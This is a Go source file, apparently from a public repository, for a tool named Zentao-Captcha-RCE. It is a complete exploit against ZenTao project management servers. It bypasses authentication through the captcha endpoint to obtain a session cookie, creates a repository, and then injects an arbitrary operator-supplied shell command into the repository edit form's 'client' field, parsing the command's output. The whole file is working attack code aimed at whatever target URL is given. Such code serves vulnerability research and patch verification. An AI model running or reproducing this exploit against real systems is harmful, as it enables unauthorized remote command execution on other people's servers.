Files
Zentao-Captcha-RCE/main.go
2023-04-24 23:36:17 +08:00

285 lines
8.9 KiB
Go
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

// @File : main.go
// @Time : 2023/01/17 14:25:22
// @Author : _0xf4n9x_
// @Version : 1.0
// @Contact : fanq.xu@gmail.com
package main
import (
"bufio"
"encoding/json"
"flag"
"fmt"
"math/rand"
neturl "net/url"
"os"
"regexp"
"strings"
"time"
"github.com/go-resty/resty/v2"
"github.com/projectdiscovery/gologger"
)
const banner = `
####### ####### ##### ###### ##### #######
# # # # ## ##### ##### #### # # ## # # # # #
# # # # # # # # # # # # # # # # # #
# # # # # # # # # ###### # # ###### # #####
# # # ###### ##### # # # # ###### # # # #
# # # # # # # # # # # # # # # # # # #
####### # ##### # # # # #### # # # # # # ##### #######
`
var (
h bool
url string
proxyURL string
command string
stdin bool
baseURL string // Zentao WebRoot Path
timeout int
requestType string
zentaosid string
repoID string
)
func showBanner() {
gologger.Print().Msgf("%s\n", banner)
}
func hasStdin() bool {
stat, err := os.Stdin.Stat()
if err != nil {
return false
}
isPipedFromChrDev := (stat.Mode() & os.ModeCharDevice) == 0
isPipedFromFIFO := (stat.Mode() & os.ModeNamedPipe) != 0
return isPipedFromChrDev || isPipedFromFIFO
}
func init() {
flag.BoolVar(&h, "h", false, "显示帮助信息")
flag.StringVar(&url, "u", "", "目标URL例如http://example.com")
flag.StringVar(&proxyURL, "p", "", "使用代理例如http://127.0.0.1:8080")
flag.StringVar(&command, "c", "", "期望被执行的命令")
flag.IntVar(&timeout, "t", 15, "请求超时时间")
flag.Parse()
stdin = hasStdin()
showBanner()
// -h flag or no flag, no stdin
if h || (len(os.Args) == 1 && !stdin) {
flag.Usage()
os.Exit(0)
}
// no url and no stdin
if url == "" && !stdin {
gologger.Error().Msg("目标不能为空,使用-h参数查看帮助信息。\n\n")
os.Exit(0)
}
// stdin to url
if stdin && url == "" {
scanner := bufio.NewScanner(os.Stdin)
for scanner.Scan() {
t := scanner.Text()
if t == "" {
continue
}
url = t
}
}
// check url url format.
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
gologger.Error().Msg("请检查输入的目标URL格式\n\n")
os.Exit(0)
}
// no command
if command == "" {
gologger.Error().Msg("请输入要执行的命令!\n\n")
os.Exit(0)
}
}
func main() {
gologger.Print().Label("INFO").Msg("Target URL: " + url)
exploit(url, command, proxyURL)
}
func exploit(url string, command string, proxyURL string) bool {
client := resty.New()
client.SetTimeout(15 * time.Second)
if proxyURL != "" {
gologger.Print().Label("INFO").Msg("Proxy: " + proxyURL)
client.SetProxy(proxyURL)
}
// 1. 确定正确完整的Zentao baseURL
u, _ := neturl.Parse(url)
paths := []string{"/", "/zentao/"}
userAgent := "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5408.146 Safari/537.36"
zentaoPath := false
for _, path := range paths {
uri := u.Path + path
baseURL = u.Scheme + "://" + u.Host + strings.Replace(uri, "//", "/", -1)
baseResp, _ := client.R().
SetHeader("User-Agent", userAgent).
Get(baseURL)
if baseResp.StatusCode() == 200 && strings.Contains(string(baseResp.Body()), "/user-login") {
zentaoPath = true
break
}
}
if !zentaoPath {
baseURL = url
gologger.Print().Label("WARN").Msg("Zentao Web根路径未找到使用输入的URL代替之。")
} else {
gologger.Print().Label("INFO").Msg("Zentao Web根路径: " + baseURL)
}
// 2. 获取请求类型
configURL := baseURL + "?mode=getconfig"
configResp, _ := client.R().
SetHeader("User-Agent", userAgent).
Get(configURL)
if strings.Contains(string(configResp.Body()), "requestType\":") {
var jsonResp map[string]interface{}
_ = json.Unmarshal(configResp.Body(), &jsonResp)
if strings.Contains(jsonResp["requestType"].(string), "PATH_INFO") {
requestType = "PATH_INFO"
gologger.Print().Label("INFO").Msg("requestType: " + requestType)
} else if strings.Contains(jsonResp["requestType"].(string), "GET") {
requestType = "GET"
gologger.Print().Label("INFO").Msg("requestType: " + requestType)
}
} else {
requestType = "PATH_INFO"
gologger.Print().Label("WARN").Msg("requestType没有获取到默认使用PATH_INFO")
}
referURL := baseURL + "index.php?m=user&f=login&referer=L2luZGV4LnBocD9tPXJlcG8mZj1jcmVhdGUmX3NpbmdsZT0xMjM="
// 3. 获取Cookie绕过认证
captchaURL := baseURL + getURI("misc-captcha-user", requestType)
captchaResp, _ := client.R().
SetHeader("User-Agent", userAgent).
SetHeader("Referer", referURL).
SetHeader("HTTP_SEC_FETCH_DEST", "frame").
Get(captchaURL)
if captchaResp.StatusCode() == 200 && captchaResp.Header().Get("Content-Type") == "image/jpeg" {
// zentaosid=a3adde2af35c975f042d0ee0fc349019; lang=zh-cn; device=desktop; theme=default
cookies := string(captchaResp.Request.Header.Get("Cookie"))
if strings.Contains(cookies, "zentaosid") {
for _, v := range strings.Split(cookies, "; ") {
if strings.Contains(v, "zentaosid") {
zentaosid = strings.Split(v, "=")[1]
gologger.Print().Label("INFO").Msg("zentaosid: " + zentaosid)
break
}
}
}
} else {
gologger.Error().Msg("尝试绕过认证失败。\n")
os.Exit(0)
}
// 4. 创建仓库并获取repoID
createURL := baseURL + getURI("repo-create-123", requestType)
createdata := fmt.Sprintf("SCM=Gitlab&client=foo&serviceHost=zentao.gitlab.com&serviceProject=%s&serviceToken=admin&path=123&product=%s&name=%s&encoding=UTF8", genRandStr(10), genRandStr(10), genRandStr(10))
createResp, _ := client.R().
SetHeader("User-Agent", userAgent).
SetHeader("Referer", referURL).
SetHeader("Content-Type", "application/x-www-form-urlencoded").
SetBody(createdata).
Post(createURL)
createbody := string(createResp.Body())
if strings.Contains(createbody, "repo-showSyncCommit") {
bodyArr := strings.Split(createbody, "-")
repoID = bodyArr[len(bodyArr)-2]
} else if strings.Contains(string(createResp.Body()), "showSyncCommit&repoID") {
bodyArr := strings.Split(createbody, "&")
repo := bodyArr[len(bodyArr)-2]
repoArr := strings.Split(repo, "=")
repoID = repoArr[len(repoArr)-1]
} else {
gologger.Error().Msg("repoID没有找到。\n")
os.Exit(0)
}
gologger.Print().Label("INFO").Msg("repoID: " + repoID)
// 5. 命令注入
editURL := baseURL + getURI(fmt.Sprintf("repo-edit-%s", repoID), requestType)
datas := []string{fmt.Sprintf("SCM=Subversion&client=`%s`&gitlabHost=http://foo&gitlabProject=foo&gitlabToken=123&name=123&product=123&path=123", command), fmt.Sprintf("SCM=Subversion&client=%s&gitlabHost=http://foo&gitlabProject=foo&gitlabToken=123&name=123&product=123&path=123", command)}
for _, data := range datas {
editResp, _ := client.R().
SetHeader("User-Agent", userAgent).
SetHeader("Referer", referURL).
SetHeader("X-Requested-With", "XMLHttpRequest").
SetHeader("Content-Type", "application/x-www-form-urlencoded").
SetBody(data).
Post(editURL)
editbody := string(editResp.Body())
if editResp.StatusCode() == 200 && strings.Contains(editbody, ": not found") {
// 有回显情况
var re = regexp.MustCompile(`(?m): 1: (.*): not found`)
result := re.FindStringSubmatch(editbody)[1]
gologger.Print().Label("INFO").Msg("Command: " + command)
gologger.Print().Label("INFO").Msg("命令执行结果: " + result)
return true
} else if (editResp.StatusCode() == 200 && strings.Contains(editbody, "/user-deny-repo-edit") && strings.Contains(editbody, "self.location=")) || strings.Contains(editbody, `\u5ba2\u6237\u7aef\u5b89\u88c5\u76ee\u5f55\u4e0d\u80fd\u6709\u7a7a\u683c\uff01`) {
// 无回显情况
gologger.Print().Label("INFO").Msg("Command: " + command)
gologger.Print().Label("INFO").Msg("当前命令执行可能无回显,请尝试使用带外方式。")
return true
} else {
continue
}
}
gologger.Print().Label("WARN").Msg("命令执行失败,后台命令执行漏洞可能已被修复。")
return true
}
func getURI(path string, requestType string) string {
if requestType == "PATH_INFO" {
return path
} else if requestType == "GET" {
params := strings.Split(path, "-")
if len(params) < 2 {
return path
}
uri := fmt.Sprintf("?m=%s&f=%s", params[0], params[1]) // ?m=misc&f=captcha
params = params[2:]
for i, aParam := range params {
uri += fmt.Sprintf("&arg%d=%s", i+1, aParam)
}
return uri // ?m=misc&f=captcha&arg1=user
}
return path
}
func genRandStr(length int) string {
const charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
var seededRand *rand.Rand = rand.New(rand.NewSource(time.Now().UnixNano()))
b := make([]byte, length)
for i := range b {
b[i] = charset[seededRand.Intn(len(charset))]
}
return string(b)
}